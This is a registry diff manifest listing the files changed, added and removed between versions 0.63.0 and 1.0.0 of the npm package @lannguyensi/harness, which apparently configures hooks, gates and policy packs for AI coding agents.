@lannguyensi/harness 0.63.0 → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +90 -0
- package/README.md +46 -42
- package/dist/cli/add/index.js +17 -21
- package/dist/cli/add/index.js.map +1 -1
- package/dist/cli/adopt/derive.d.ts +2 -2
- package/dist/cli/adopt/derive.js +2 -19
- package/dist/cli/adopt/derive.js.map +1 -1
- package/dist/cli/adopt/index.d.ts +1 -1
- package/dist/cli/adopt/index.js +1 -12
- package/dist/cli/adopt/index.js.map +1 -1
- package/dist/cli/apply/apply.d.ts +20 -35
- package/dist/cli/apply/apply.js +61 -136
- package/dist/cli/apply/apply.js.map +1 -1
- package/dist/cli/apply/generate-codex-config.js +10 -58
- package/dist/cli/apply/generate-codex-config.js.map +1 -1
- package/dist/cli/apply/generate-memory-index.js +1 -2
- package/dist/cli/apply/generate-memory-index.js.map +1 -1
- package/dist/cli/apply/generate-opencode-config.d.ts +2 -10
- package/dist/cli/apply/generate-opencode-config.js +74 -113
- package/dist/cli/apply/generate-opencode-config.js.map +1 -1
- package/dist/cli/apply/generate-settings.d.ts +11 -64
- package/dist/cli/apply/generate-settings.js +27 -132
- package/dist/cli/apply/generate-settings.js.map +1 -1
- package/dist/cli/apply/index.d.ts +1 -1
- package/dist/cli/apply/index.js +1 -1
- package/dist/cli/apply/index.js.map +1 -1
- package/dist/cli/apply/install-codex-config.d.ts +153 -1
- package/dist/cli/apply/install-codex-config.js +445 -70
- package/dist/cli/apply/install-codex-config.js.map +1 -1
- package/dist/cli/apply/next-steps.d.ts +7 -0
- package/dist/cli/apply/next-steps.js +13 -1
- package/dist/cli/apply/next-steps.js.map +1 -1
- package/dist/cli/bounded-stdin.d.ts +0 -23
- package/dist/cli/bounded-stdin.js +2 -49
- package/dist/cli/bounded-stdin.js.map +1 -1
- package/dist/cli/describe.d.ts +1 -1
- package/dist/cli/describe.js +0 -3
- package/dist/cli/describe.js.map +1 -1
- package/dist/cli/diff/engine.d.ts +0 -11
- package/dist/cli/diff/engine.js +1 -17
- package/dist/cli/diff/engine.js.map +1 -1
- package/dist/cli/diff/index.js +14 -25
- package/dist/cli/diff/index.js.map +1 -1
- package/dist/cli/doctor/claude-mcp.d.ts +4 -19
- package/dist/cli/doctor/claude-mcp.js +11 -22
- package/dist/cli/doctor/claude-mcp.js.map +1 -1
- package/dist/cli/doctor/codex.d.ts +12 -14
- package/dist/cli/doctor/codex.js +31 -144
- package/dist/cli/doctor/codex.js.map +1 -1
- package/dist/cli/doctor/format.js +23 -338
- package/dist/cli/doctor/format.js.map +1 -1
- package/dist/cli/doctor/hook-liveness.d.ts +56 -0
- package/dist/cli/doctor/hook-liveness.js +455 -0
- package/dist/cli/doctor/hook-liveness.js.map +1 -0
- package/dist/cli/doctor/index.d.ts +13 -87
- package/dist/cli/doctor/index.js +57 -705
- package/dist/cli/doctor/index.js.map +1 -1
- package/dist/cli/doctor/opencode.d.ts +2 -1
- package/dist/cli/doctor/opencode.js.map +1 -1
- package/dist/cli/doctor/types.d.ts +21 -378
- package/dist/cli/doctor/types.js.map +1 -1
- package/dist/cli/drain-stdio.d.ts +31 -0
- package/dist/cli/drain-stdio.js +76 -0
- package/dist/cli/drain-stdio.js.map +1 -0
- package/dist/cli/export.d.ts +3 -1
- package/dist/cli/export.js +7 -16
- package/dist/cli/export.js.map +1 -1
- package/dist/cli/gate/codex-disable.d.ts +29 -0
- package/dist/cli/gate/codex-disable.js +195 -0
- package/dist/cli/gate/codex-disable.js.map +1 -0
- package/dist/cli/gate/codex-enable.d.ts +41 -0
- package/dist/cli/gate/codex-enable.js +127 -0
- package/dist/cli/gate/codex-enable.js.map +1 -0
- package/dist/cli/gate/codex-snapshot.d.ts +208 -0
- package/dist/cli/gate/codex-snapshot.js +402 -0
- package/dist/cli/gate/codex-snapshot.js.map +1 -0
- package/dist/cli/gate/disable.d.ts +9 -0
- package/dist/cli/gate/disable.js +263 -28
- package/dist/cli/gate/disable.js.map +1 -1
- package/dist/cli/gate/enable.d.ts +26 -6
- package/dist/cli/gate/enable.js +152 -80
- package/dist/cli/gate/enable.js.map +1 -1
- package/dist/cli/gate/link-chain.d.ts +53 -0
- package/dist/cli/gate/link-chain.js +122 -0
- package/dist/cli/gate/link-chain.js.map +1 -0
- package/dist/cli/gate/snapshot.d.ts +289 -12
- package/dist/cli/gate/snapshot.js +481 -22
- package/dist/cli/gate/snapshot.js.map +1 -1
- package/dist/cli/index.d.ts +0 -9
- package/dist/cli/index.js +15 -2607
- package/dist/cli/index.js.map +1 -1
- package/dist/cli/init/composer.d.ts +3 -6
- package/dist/cli/init/composer.js +6 -370
- package/dist/cli/init/composer.js.map +1 -1
- package/dist/cli/init/dependencies.d.ts +1 -2
- package/dist/cli/init/dependencies.js +4 -80
- package/dist/cli/init/dependencies.js.map +1 -1
- package/dist/cli/init/detect.js +5 -4
- package/dist/cli/init/detect.js.map +1 -1
- package/dist/cli/init/interactive.d.ts +1 -23
- package/dist/cli/init/interactive.js +33 -247
- package/dist/cli/init/interactive.js.map +1 -1
- package/dist/cli/init/profiles.d.ts +2 -2
- package/dist/cli/init/profiles.js +51 -243
- package/dist/cli/init/profiles.js.map +1 -1
- package/dist/cli/init/templates.d.ts +2 -37
- package/dist/cli/init/templates.js +25 -1237
- package/dist/cli/init/templates.js.map +1 -1
- package/dist/cli/list.d.ts +1 -1
- package/dist/cli/list.js +1 -38
- package/dist/cli/list.js.map +1 -1
- package/dist/cli/loader.d.ts +15 -1
- package/dist/cli/loader.js +56 -39
- package/dist/cli/loader.js.map +1 -1
- package/dist/cli/main.js +7 -2
- package/dist/cli/main.js.map +1 -1
- package/dist/cli/migrate-home/index.js +2 -2
- package/dist/cli/migrate-home/index.js.map +1 -1
- package/dist/cli/pack/add.js +1 -1
- package/dist/cli/pack/add.js.map +1 -1
- package/dist/cli/pack/hook-bootstrap.d.ts +5 -164
- package/dist/cli/pack/hook-bootstrap.js +15 -291
- package/dist/cli/pack/hook-bootstrap.js.map +1 -1
- package/dist/cli/pack/hook-branch-protection.d.ts +28 -21
- package/dist/cli/pack/hook-branch-protection.js +365 -340
- package/dist/cli/pack/hook-branch-protection.js.map +1 -1
- package/dist/cli/pack/index.d.ts +0 -1
- package/dist/cli/pack/index.js +0 -1
- package/dist/cli/pack/index.js.map +1 -1
- package/dist/cli/pack/list.js +1 -6
- package/dist/cli/pack/list.js.map +1 -1
- package/dist/cli/pack/mutate.d.ts +7 -9
- package/dist/cli/pack/mutate.js +6 -9
- package/dist/cli/pack/mutate.js.map +1 -1
- package/dist/cli/pack/reseed.d.ts +2 -2
- package/dist/cli/pack/reseed.js +16 -22
- package/dist/cli/pack/reseed.js.map +1 -1
- package/dist/cli/register-gate-group.d.ts +5 -0
- package/dist/cli/register-gate-group.js +348 -0
- package/dist/cli/register-gate-group.js.map +1 -0
- package/dist/cli/register-inspect-group.d.ts +6 -0
- package/dist/cli/register-inspect-group.js +189 -0
- package/dist/cli/register-inspect-group.js.map +1 -0
- package/dist/cli/register-operator-lifecycle.d.ts +5 -0
- package/dist/cli/register-operator-lifecycle.js +20 -0
- package/dist/cli/register-operator-lifecycle.js.map +1 -0
- package/dist/cli/register-pack-group.d.ts +5 -0
- package/dist/cli/register-pack-group.js +134 -0
- package/dist/cli/register-pack-group.js.map +1 -0
- package/dist/cli/register-setup-group.d.ts +5 -0
- package/dist/cli/register-setup-group.js +495 -0
- package/dist/cli/register-setup-group.js.map +1 -0
- package/dist/cli/remove/index.d.ts +0 -14
- package/dist/cli/remove/index.js +2 -115
- package/dist/cli/remove/index.js.map +1 -1
- package/dist/cli/remove/mutate.d.ts +0 -2
- package/dist/cli/remove/mutate.js +1 -19
- package/dist/cli/remove/mutate.js.map +1 -1
- package/dist/cli/remove/register.d.ts +5 -0
- package/dist/cli/remove/register.js +25 -0
- package/dist/cli/remove/register.js.map +1 -0
- package/dist/cli/shell-quote.d.ts +7 -0
- package/dist/cli/shell-quote.js +17 -0
- package/dist/cli/shell-quote.js.map +1 -0
- package/dist/cli/uninstall/index.d.ts +4 -2
- package/dist/cli/uninstall/index.js +15 -7
- package/dist/cli/uninstall/index.js.map +1 -1
- package/dist/cli/uninstall/register.d.ts +5 -0
- package/dist/cli/uninstall/register.js +171 -0
- package/dist/cli/uninstall/register.js.map +1 -0
- package/dist/cli/uninstall/snapshot.d.ts +15 -0
- package/dist/cli/uninstall/snapshot.js +38 -0
- package/dist/cli/uninstall/snapshot.js.map +1 -1
- package/dist/cli/validate/checks.d.ts +0 -77
- package/dist/cli/validate/checks.js +3 -1049
- package/dist/cli/validate/checks.js.map +1 -1
- package/dist/cli/validate/index.js +19 -15
- package/dist/cli/validate/index.js.map +1 -1
- package/dist/index.d.ts +0 -3
- package/dist/index.js +0 -3
- package/dist/index.js.map +1 -1
- package/dist/io/claude-mcp.d.ts +1 -1
- package/dist/io/claude-mcp.js +27 -14
- package/dist/io/claude-mcp.js.map +1 -1
- package/dist/io/harness-lock.js +2 -2
- package/dist/io/harness-lock.js.map +1 -1
- package/dist/io/lock.d.ts +0 -26
- package/dist/io/lock.js +10 -27
- package/dist/io/lock.js.map +1 -1
- package/dist/io/merge-settings.js +6 -4
- package/dist/io/merge-settings.js.map +1 -1
- package/dist/io/project-name.d.ts +22 -39
- package/dist/io/project-name.js +25 -42
- package/dist/io/project-name.js.map +1 -1
- package/dist/io/read-regular-file.d.ts +103 -40
- package/dist/io/read-regular-file.js +196 -35
- package/dist/io/read-regular-file.js.map +1 -1
- package/dist/io/restart-hints.js +3 -6
- package/dist/io/restart-hints.js.map +1 -1
- package/dist/io/version-compare.d.ts +1 -3
- package/dist/io/version-compare.js +1 -3
- package/dist/io/version-compare.js.map +1 -1
- package/dist/io/write-regular-file.d.ts +30 -0
- package/dist/io/write-regular-file.js +85 -0
- package/dist/io/write-regular-file.js.map +1 -0
- package/dist/overrides/index.d.ts +1 -0
- package/dist/overrides/index.js +1 -0
- package/dist/overrides/index.js.map +1 -1
- package/dist/overrides/merge-layers.d.ts +43 -0
- package/dist/overrides/merge-layers.js +76 -0
- package/dist/overrides/merge-layers.js.map +1 -0
- package/dist/overrides/merge.d.ts +16 -0
- package/dist/overrides/merge.js +21 -8
- package/dist/overrides/merge.js.map +1 -1
- package/dist/policy-packs/builtin/branch-protection-runtime.d.ts +4 -69
- package/dist/policy-packs/builtin/branch-protection-runtime.js +12 -84
- package/dist/policy-packs/builtin/branch-protection-runtime.js.map +1 -1
- package/dist/policy-packs/builtin/branch-protection.d.ts +7 -30
- package/dist/policy-packs/builtin/branch-protection.js +56 -89
- package/dist/policy-packs/builtin/branch-protection.js.map +1 -1
- package/dist/policy-packs/config-check.d.ts +7 -5
- package/dist/policy-packs/config-check.js +2 -2
- package/dist/policy-packs/config-check.js.map +1 -1
- package/dist/policy-packs/expand.d.ts +1 -3
- package/dist/policy-packs/expand.js +5 -42
- package/dist/policy-packs/expand.js.map +1 -1
- package/dist/policy-packs/index.d.ts +3 -3
- package/dist/policy-packs/index.js +2 -2
- package/dist/policy-packs/index.js.map +1 -1
- package/dist/policy-packs/registry.d.ts +9 -38
- package/dist/policy-packs/registry.js +5 -65
- package/dist/policy-packs/registry.js.map +1 -1
- package/dist/policy-packs/runtime.d.ts +0 -4
- package/dist/policy-packs/runtime.js +9 -22
- package/dist/policy-packs/runtime.js.map +1 -1
- package/dist/policy-packs/types.d.ts +0 -19
- package/dist/policy-packs/ux-compare.d.ts +1 -11
- package/dist/policy-packs/ux-compare.js +6 -42
- package/dist/policy-packs/ux-compare.js.map +1 -1
- package/dist/policy-packs/ux-drift-check.d.ts +5 -5
- package/dist/policy-packs/ux-drift-check.js +17 -22
- package/dist/policy-packs/ux-drift-check.js.map +1 -1
- package/dist/policy-packs/version-check.d.ts +5 -26
- package/dist/policy-packs/version-check.js +19 -74
- package/dist/policy-packs/version-check.js.map +1 -1
- package/dist/probes/memory.d.ts +1 -1
- package/dist/probes/memory.js +1 -1
- package/dist/probes/memory.js.map +1 -1
- package/dist/runtime/agent-facing.d.ts +9 -0
- package/dist/runtime/agent-facing.js +28 -14
- package/dist/runtime/agent-facing.js.map +1 -1
- package/dist/runtime/bounded-text.d.ts +15 -0
- package/dist/runtime/bounded-text.js +27 -0
- package/dist/runtime/bounded-text.js.map +1 -0
- package/dist/runtime/git-branch.d.ts +125 -0
- package/dist/runtime/git-branch.js +381 -0
- package/dist/runtime/git-branch.js.map +1 -0
- package/dist/runtime/hermetic-spawn-guard.d.ts +2 -2
- package/dist/runtime/hermetic-spawn-guard.js +24 -34
- package/dist/runtime/hermetic-spawn-guard.js.map +1 -1
- package/dist/runtime/home-dir.js +3 -2
- package/dist/runtime/home-dir.js.map +1 -1
- package/dist/runtime/tool-name-aliases.d.ts +0 -6
- package/dist/runtime/tool-name-aliases.js +5 -18
- package/dist/runtime/tool-name-aliases.js.map +1 -1
- package/dist/schema/grounding.d.ts +7 -54
- package/dist/schema/grounding.js +10 -12
- package/dist/schema/grounding.js.map +1 -1
- package/dist/schema/hooks.d.ts +39 -136
- package/dist/schema/hooks.js +3 -6
- package/dist/schema/hooks.js.map +1 -1
- package/dist/schema/index.d.ts +114 -3828
- package/dist/schema/index.js +41 -80
- package/dist/schema/index.js.map +1 -1
- package/dist/schema/memory.d.ts +54 -131
- package/dist/schema/memory.js +2 -2
- package/dist/schema/memory.js.map +1 -1
- package/dist/schema/policy-packs.d.ts +3 -45
- package/dist/schema/policy-packs.js +7 -13
- package/dist/schema/policy-packs.js.map +1 -1
- package/dist/schema/policy-ux.d.ts +7 -0
- package/dist/schema/policy-ux.js +18 -0
- package/dist/schema/policy-ux.js.map +1 -0
- package/dist/schema/removed-keys.d.ts +185 -0
- package/dist/schema/removed-keys.js +531 -0
- package/dist/schema/removed-keys.js.map +1 -0
- package/dist/schema/tools.d.ts +30 -268
- package/dist/schema/tools.js +4 -4
- package/dist/schema/tools.js.map +1 -1
- package/package.json +5 -16
- package/dist/cli/approve/branch-protection.d.ts +0 -69
- package/dist/cli/approve/branch-protection.js +0 -144
- package/dist/cli/approve/branch-protection.js.map +0 -1
- package/dist/cli/approve/risk.d.ts +0 -112
- package/dist/cli/approve/risk.js +0 -197
- package/dist/cli/approve/risk.js.map +0 -1
- package/dist/cli/approve/stdin-report.d.ts +0 -57
- package/dist/cli/approve/stdin-report.js +0 -145
- package/dist/cli/approve/stdin-report.js.map +0 -1
- package/dist/cli/approve/understanding.d.ts +0 -410
- package/dist/cli/approve/understanding.js +0 -996
- package/dist/cli/approve/understanding.js.map +0 -1
- package/dist/cli/audit.d.ts +0 -80
- package/dist/cli/audit.js +0 -252
- package/dist/cli/audit.js.map +0 -1
- package/dist/cli/delegate/index.d.ts +0 -76
- package/dist/cli/delegate/index.js +0 -443
- package/dist/cli/delegate/index.js.map +0 -1
- package/dist/cli/doctor/auto-approve-mode.d.ts +0 -37
- package/dist/cli/doctor/auto-approve-mode.js +0 -80
- package/dist/cli/doctor/auto-approve-mode.js.map +0 -1
- package/dist/cli/doctor/bypass-without-auto-approve.d.ts +0 -38
- package/dist/cli/doctor/bypass-without-auto-approve.js +0 -95
- package/dist/cli/doctor/bypass-without-auto-approve.js.map +0 -1
- package/dist/cli/doctor/codex-config-drift.d.ts +0 -28
- package/dist/cli/doctor/codex-config-drift.js +0 -240
- package/dist/cli/doctor/codex-config-drift.js.map +0 -1
- package/dist/cli/doctor/rogue-ledger.d.ts +0 -53
- package/dist/cli/doctor/rogue-ledger.js +0 -153
- package/dist/cli/doctor/rogue-ledger.js.map +0 -1
- package/dist/cli/doctor/session-start-preflight-setup-version.d.ts +0 -83
- package/dist/cli/doctor/session-start-preflight-setup-version.js +0 -114
- package/dist/cli/doctor/session-start-preflight-setup-version.js.map +0 -1
- package/dist/cli/doctor/settings-drift.d.ts +0 -25
- package/dist/cli/doctor/settings-drift.js +0 -213
- package/dist/cli/doctor/settings-drift.js.map +0 -1
- package/dist/cli/doctor/toolchain-parity.d.ts +0 -63
- package/dist/cli/doctor/toolchain-parity.js +0 -154
- package/dist/cli/doctor/toolchain-parity.js.map +0 -1
- package/dist/cli/doctor/ug-auto-approvals.d.ts +0 -40
- package/dist/cli/doctor/ug-auto-approvals.js +0 -91
- package/dist/cli/doctor/ug-auto-approvals.js.map +0 -1
- package/dist/cli/doctor/ug-delegations.d.ts +0 -26
- package/dist/cli/doctor/ug-delegations.js +0 -121
- package/dist/cli/doctor/ug-delegations.js.map +0 -1
- package/dist/cli/doctor/ug-inflight.d.ts +0 -35
- package/dist/cli/doctor/ug-inflight.js +0 -57
- package/dist/cli/doctor/ug-inflight.js.map +0 -1
- package/dist/cli/doctor/understanding-mode-env.d.ts +0 -51
- package/dist/cli/doctor/understanding-mode-env.js +0 -98
- package/dist/cli/doctor/understanding-mode-env.js.map +0 -1
- package/dist/cli/dry-run.d.ts +0 -46
- package/dist/cli/dry-run.js +0 -250
- package/dist/cli/dry-run.js.map +0 -1
- package/dist/cli/event-input.d.ts +0 -28
- package/dist/cli/event-input.js +0 -73
- package/dist/cli/event-input.js.map +0 -1
- package/dist/cli/explain-action.d.ts +0 -20
- package/dist/cli/explain-action.js +0 -27
- package/dist/cli/explain-action.js.map +0 -1
- package/dist/cli/explain-policy.d.ts +0 -135
- package/dist/cli/explain-policy.js +0 -266
- package/dist/cli/explain-policy.js.map +0 -1
- package/dist/cli/explain.d.ts +0 -31
- package/dist/cli/explain.js +0 -159
- package/dist/cli/explain.js.map +0 -1
- package/dist/cli/gc/index.d.ts +0 -63
- package/dist/cli/gc/index.js +0 -566
- package/dist/cli/gc/index.js.map +0 -1
- package/dist/cli/pack/approve-escape.d.ts +0 -19
- package/dist/cli/pack/approve-escape.js +0 -190
- package/dist/cli/pack/approve-escape.js.map +0 -1
- package/dist/cli/pack/auto-approve-path.d.ts +0 -146
- package/dist/cli/pack/auto-approve-path.js +0 -462
- package/dist/cli/pack/auto-approve-path.js.map +0 -1
- package/dist/cli/pack/hook-codex-post-tool-use.d.ts +0 -25
- package/dist/cli/pack/hook-codex-post-tool-use.js +0 -160
- package/dist/cli/pack/hook-codex-post-tool-use.js.map +0 -1
- package/dist/cli/pack/hook-codex-pre-tool-use.d.ts +0 -48
- package/dist/cli/pack/hook-codex-pre-tool-use.js +0 -474
- package/dist/cli/pack/hook-codex-pre-tool-use.js.map +0 -1
- package/dist/cli/pack/hook-codex-stop.d.ts +0 -35
- package/dist/cli/pack/hook-codex-stop.js +0 -329
- package/dist/cli/pack/hook-codex-stop.js.map +0 -1
- package/dist/cli/pack/hook-codex-user-prompt-submit.d.ts +0 -24
- package/dist/cli/pack/hook-codex-user-prompt-submit.js +0 -93
- package/dist/cli/pack/hook-codex-user-prompt-submit.js.map +0 -1
- package/dist/cli/pack/hook-post-merge-gate-record.d.ts +0 -37
- package/dist/cli/pack/hook-post-merge-gate-record.js +0 -190
- package/dist/cli/pack/hook-post-merge-gate-record.js.map +0 -1
- package/dist/cli/pack/hook-post-merge-gate.d.ts +0 -34
- package/dist/cli/pack/hook-post-merge-gate.js +0 -277
- package/dist/cli/pack/hook-post-merge-gate.js.map +0 -1
- package/dist/cli/pack/hook-post-tool-use.d.ts +0 -45
- package/dist/cli/pack/hook-post-tool-use.js +0 -137
- package/dist/cli/pack/hook-post-tool-use.js.map +0 -1
- package/dist/cli/pack/hook-pre-tool-use.d.ts +0 -92
- package/dist/cli/pack/hook-pre-tool-use.js +0 -1328
- package/dist/cli/pack/hook-pre-tool-use.js.map +0 -1
- package/dist/cli/pack/hook-runtime-reality.d.ts +0 -63
- package/dist/cli/pack/hook-runtime-reality.js +0 -210
- package/dist/cli/pack/hook-runtime-reality.js.map +0 -1
- package/dist/cli/pack/hook-solution-acceptance-writeguard.d.ts +0 -32
- package/dist/cli/pack/hook-solution-acceptance-writeguard.js +0 -337
- package/dist/cli/pack/hook-solution-acceptance-writeguard.js.map +0 -1
- package/dist/cli/pack/hook-solution-acceptance.d.ts +0 -157
- package/dist/cli/pack/hook-solution-acceptance.js +0 -530
- package/dist/cli/pack/hook-solution-acceptance.js.map +0 -1
- package/dist/cli/pack/hook-stay-in-scope.d.ts +0 -37
- package/dist/cli/pack/hook-stay-in-scope.js +0 -128
- package/dist/cli/pack/hook-stay-in-scope.js.map +0 -1
- package/dist/cli/pack/hook-subagent-start.d.ts +0 -23
- package/dist/cli/pack/hook-subagent-start.js +0 -88
- package/dist/cli/pack/hook-subagent-start.js.map +0 -1
- package/dist/cli/pack/hook-subagent-stop.d.ts +0 -19
- package/dist/cli/pack/hook-subagent-stop.js +0 -41
- package/dist/cli/pack/hook-subagent-stop.js.map +0 -1
- package/dist/cli/pack/hook-track-active-claim.d.ts +0 -27
- package/dist/cli/pack/hook-track-active-claim.js +0 -275
- package/dist/cli/pack/hook-track-active-claim.js.map +0 -1
- package/dist/cli/pack/transcript-report-scan.d.ts +0 -71
- package/dist/cli/pack/transcript-report-scan.js +0 -359
- package/dist/cli/pack/transcript-report-scan.js.map +0 -1
- package/dist/cli/pack/understanding-report-schema-hint.d.ts +0 -26
- package/dist/cli/pack/understanding-report-schema-hint.js +0 -120
- package/dist/cli/pack/understanding-report-schema-hint.js.map +0 -1
- package/dist/cli/pack/upgrade.d.ts +0 -32
- package/dist/cli/pack/upgrade.js +0 -273
- package/dist/cli/pack/upgrade.js.map +0 -1
- package/dist/cli/pause/index.d.ts +0 -113
- package/dist/cli/pause/index.js +0 -251
- package/dist/cli/pause/index.js.map +0 -1
- package/dist/cli/pause-check.d.ts +0 -22
- package/dist/cli/pause-check.js +0 -54
- package/dist/cli/pause-check.js.map +0 -1
- package/dist/cli/policy/intercept.d.ts +0 -233
- package/dist/cli/policy/intercept.js +0 -1020
- package/dist/cli/policy/intercept.js.map +0 -1
- package/dist/cli/policy/risk-envelope-enrichment.d.ts +0 -40
- package/dist/cli/policy/risk-envelope-enrichment.js +0 -108
- package/dist/cli/policy/risk-envelope-enrichment.js.map +0 -1
- package/dist/cli/record/index.d.ts +0 -81
- package/dist/cli/record/index.js +0 -348
- package/dist/cli/record/index.js.map +0 -1
- package/dist/cli/resolve-env.d.ts +0 -32
- package/dist/cli/resolve-env.js +0 -47
- package/dist/cli/resolve-env.js.map +0 -1
- package/dist/cli/session-export/index.d.ts +0 -46
- package/dist/cli/session-export/index.js +0 -169
- package/dist/cli/session-export/index.js.map +0 -1
- package/dist/cli/session-export/redact.d.ts +0 -22
- package/dist/cli/session-export/redact.js +0 -47
- package/dist/cli/session-export/redact.js.map +0 -1
- package/dist/cli/session-export/transcript.d.ts +0 -24
- package/dist/cli/session-export/transcript.js +0 -164
- package/dist/cli/session-export/transcript.js.map +0 -1
- package/dist/cli/session-start/branch-check.d.ts +0 -18
- package/dist/cli/session-start/branch-check.js +0 -140
- package/dist/cli/session-start/branch-check.js.map +0 -1
- package/dist/cli/session-start/index.d.ts +0 -121
- package/dist/cli/session-start/index.js +0 -591
- package/dist/cli/session-start/index.js.map +0 -1
- package/dist/cli/session-start/shared-options.d.ts +0 -103
- package/dist/cli/session-start/shared-options.js +0 -107
- package/dist/cli/session-start/shared-options.js.map +0 -1
- package/dist/cli/session-start/stale-base-check.d.ts +0 -46
- package/dist/cli/session-start/stale-base-check.js +0 -352
- package/dist/cli/session-start/stale-base-check.js.map +0 -1
- package/dist/cli/session-start/toolchain-parity.d.ts +0 -267
- package/dist/cli/session-start/toolchain-parity.js +0 -797
- package/dist/cli/session-start/toolchain-parity.js.map +0 -1
- package/dist/cli/smoke/assertions.d.ts +0 -46
- package/dist/cli/smoke/assertions.js +0 -170
- package/dist/cli/smoke/assertions.js.map +0 -1
- package/dist/cli/smoke/index.d.ts +0 -76
- package/dist/cli/smoke/index.js +0 -245
- package/dist/cli/smoke/index.js.map +0 -1
- package/dist/cli/smoke/runner.d.ts +0 -55
- package/dist/cli/smoke/runner.js +0 -134
- package/dist/cli/smoke/runner.js.map +0 -1
- package/dist/cli/smoke/stream-parser.d.ts +0 -65
- package/dist/cli/smoke/stream-parser.js +0 -115
- package/dist/cli/smoke/stream-parser.js.map +0 -1
- package/dist/cli/test-risk.d.ts +0 -26
- package/dist/cli/test-risk.js +0 -34
- package/dist/cli/test-risk.js.map +0 -1
- package/dist/io/display-path.d.ts +0 -11
- package/dist/io/display-path.js +0 -29
- package/dist/io/display-path.js.map +0 -1
- package/dist/io/duration.d.ts +0 -5
- package/dist/io/duration.js +0 -50
- package/dist/io/duration.js.map +0 -1
- package/dist/io/extract.d.ts +0 -79
- package/dist/io/extract.js +0 -226
- package/dist/io/extract.js.map +0 -1
- package/dist/io/ledger-record.d.ts +0 -83
- package/dist/io/ledger-record.js +0 -301
- package/dist/io/ledger-record.js.map +0 -1
- package/dist/io/read-json-dir-entries.d.ts +0 -36
- package/dist/io/read-json-dir-entries.js +0 -48
- package/dist/io/read-json-dir-entries.js.map +0 -1
- package/dist/io/safe-json-parse.d.ts +0 -5
- package/dist/io/safe-json-parse.js +0 -21
- package/dist/io/safe-json-parse.js.map +0 -1
- package/dist/policies/index.d.ts +0 -5
- package/dist/policies/index.js +0 -6
- package/dist/policies/index.js.map +0 -1
- package/dist/policies/ledger-client.d.ts +0 -113
- package/dist/policies/ledger-client.js +0 -500
- package/dist/policies/ledger-client.js.map +0 -1
- package/dist/policies/producers.d.ts +0 -12
- package/dist/policies/producers.js +0 -61
- package/dist/policies/producers.js.map +0 -1
- package/dist/policies/requires.d.ts +0 -75
- package/dist/policies/requires.js +0 -240
- package/dist/policies/requires.js.map +0 -1
- package/dist/policies/timestamp.d.ts +0 -14
- package/dist/policies/timestamp.js +0 -36
- package/dist/policies/timestamp.js.map +0 -1
- package/dist/policy-packs/builtin/permission-profiles.d.ts +0 -11
- package/dist/policy-packs/builtin/permission-profiles.js +0 -74
- package/dist/policy-packs/builtin/permission-profiles.js.map +0 -1
- package/dist/policy-packs/builtin/post-merge-gate-runtime.d.ts +0 -286
- package/dist/policy-packs/builtin/post-merge-gate-runtime.js +0 -397
- package/dist/policy-packs/builtin/post-merge-gate-runtime.js.map +0 -1
- package/dist/policy-packs/builtin/post-merge-gate.d.ts +0 -56
- package/dist/policy-packs/builtin/post-merge-gate.js +0 -347
- package/dist/policy-packs/builtin/post-merge-gate.js.map +0 -1
- package/dist/policy-packs/builtin/solution-acceptance-reconnect.d.ts +0 -50
- package/dist/policy-packs/builtin/solution-acceptance-reconnect.js +0 -151
- package/dist/policy-packs/builtin/solution-acceptance-reconnect.js.map +0 -1
- package/dist/policy-packs/builtin/solution-acceptance-runtime.d.ts +0 -323
- package/dist/policy-packs/builtin/solution-acceptance-runtime.js +0 -672
- package/dist/policy-packs/builtin/solution-acceptance-runtime.js.map +0 -1
- package/dist/policy-packs/builtin/solution-acceptance.d.ts +0 -45
- package/dist/policy-packs/builtin/solution-acceptance.js +0 -226
- package/dist/policy-packs/builtin/solution-acceptance.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/active-claim.d.ts +0 -25
- package/dist/policy-packs/builtin/understanding-before-execution/active-claim.js +0 -94
- package/dist/policy-packs/builtin/understanding-before-execution/active-claim.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/auto-approve-default.d.ts +0 -35
- package/dist/policy-packs/builtin/understanding-before-execution/auto-approve-default.js +0 -86
- package/dist/policy-packs/builtin/understanding-before-execution/auto-approve-default.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/auto-approve.d.ts +0 -210
- package/dist/policy-packs/builtin/understanding-before-execution/auto-approve.js +0 -361
- package/dist/policy-packs/builtin/understanding-before-execution/auto-approve.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/delegation-markers.d.ts +0 -304
- package/dist/policy-packs/builtin/understanding-before-execution/delegation-markers.js +0 -734
- package/dist/policy-packs/builtin/understanding-before-execution/delegation-markers.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/expiry-reason.d.ts +0 -36
- package/dist/policy-packs/builtin/understanding-before-execution/expiry-reason.js +0 -73
- package/dist/policy-packs/builtin/understanding-before-execution/expiry-reason.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/index.d.ts +0 -19
- package/dist/policy-packs/builtin/understanding-before-execution/index.js +0 -83
- package/dist/policy-packs/builtin/understanding-before-execution/index.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/inflight-records.d.ts +0 -135
- package/dist/policy-packs/builtin/understanding-before-execution/inflight-records.js +0 -618
- package/dist/policy-packs/builtin/understanding-before-execution/inflight-records.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/ledger.d.ts +0 -25
- package/dist/policy-packs/builtin/understanding-before-execution/ledger.js +0 -56
- package/dist/policy-packs/builtin/understanding-before-execution/ledger.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/lifecycle.d.ts +0 -20
- package/dist/policy-packs/builtin/understanding-before-execution/lifecycle.js +0 -93
- package/dist/policy-packs/builtin/understanding-before-execution/lifecycle.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/markers.d.ts +0 -126
- package/dist/policy-packs/builtin/understanding-before-execution/markers.js +0 -245
- package/dist/policy-packs/builtin/understanding-before-execution/markers.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/measured-permission-modes.d.ts +0 -29
- package/dist/policy-packs/builtin/understanding-before-execution/measured-permission-modes.js +0 -82
- package/dist/policy-packs/builtin/understanding-before-execution/measured-permission-modes.js.map +0 -1
- package/dist/policy-packs/builtin/understanding-before-execution/permission-mode-observations.d.ts +0 -71
- package/dist/policy-packs/builtin/understanding-before-execution/permission-mode-observations.js +0 -175
